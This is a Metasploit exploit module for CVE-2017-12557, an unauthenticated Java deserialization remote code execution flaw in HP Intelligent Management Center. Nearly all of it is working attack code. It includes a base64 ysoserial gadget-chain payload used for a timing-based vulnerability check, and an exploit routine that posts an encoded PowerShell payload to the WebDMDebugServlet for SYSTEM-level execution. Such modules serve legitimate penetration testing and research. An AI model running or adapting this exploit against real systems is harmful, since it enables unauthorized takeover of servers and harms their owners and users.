##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Intelligent Management Java Deserialization RCE",
      'Description'    => %q{
        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
        Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
        this vulnerability.

        The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
        default. The issue results from the lack of proper validation of user-supplied data, which can result
        in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
        code in the context of SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
            'Steven Seeley (mr_me) of Offensive Security',          # Discovery
            'Carsten @MaartmannMoe / cmm[at]transcendentgroup.com'  # Metasploit module
        ],
      'References'     =>
        [
            ['CVE', '2017-12557'],
            ['URL', 'https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java'],
            ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-17-832/']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
            [ 'HPE IMC 7.3 E0504P2 and earlier / Windows', {} ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Oct 3 2017",
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'WfsDelay'   => 10
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
      Opt::RPORT('8080')
    ])
  end

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('login_logo_hp.png')
      return CheckCode::Safe
    end

    # Java serialized ysoserial JSON1 synchronous sleep command, from https://github.com/federicodotta/Java-Deserialization-Scanner/blob/43653733ae58f63a9a4ef257ac2f276d1ca3c0a8/src/burp/BurpExtender.java
    data = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAlJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MABlfYWNjZXNzRXh0ZXJuYWxTdHlsZXNoZWV0cQB+ABxMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABxMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGJcr+ur4AAAAxADIHADABADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQAfeXNvc2VyaWFsL1B3bmVyMjQ5NTYyMzkzMzM0NjA4NwEAIUx5c29zZXJpYWwvUHduZXIyNDk1NjIzOTMzMzQ2MDg3OwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC4AEgAAAAwAAQAAAAUAEwAxAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAzABIAAAAgAAMAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA3ABIAAAAqAAQAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAABkAAwACAAAADacAAwFMEScQhbgAL7EAAAAAAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AEgAAAHUyv66vgAAADEAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAOwASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AVHEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBOcQB+AFV4"

    print_status "Verifying vulnerability by sending synchronous sleep command (#{data.length} bytes)..."
    t1 = Time.now.to_i
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
      'data'     => data
    })
    t2 = Time.now.to_i

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Detected
    end

    diff = t2 - t1
    if res.code == 500 && res.body.include?('HPE Intelligent Management Center') && diff >= 10
      print_good("Response received after #{diff} seconds.")
      return CheckCode::Vulnerable
    else
      return CheckCode::Appears
    end
  end

  def exploit
    cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
    data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)

    print_status "Sending serialized Java object (#{data.length} bytes)..."
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
      'data'     => data
    })
  end
end
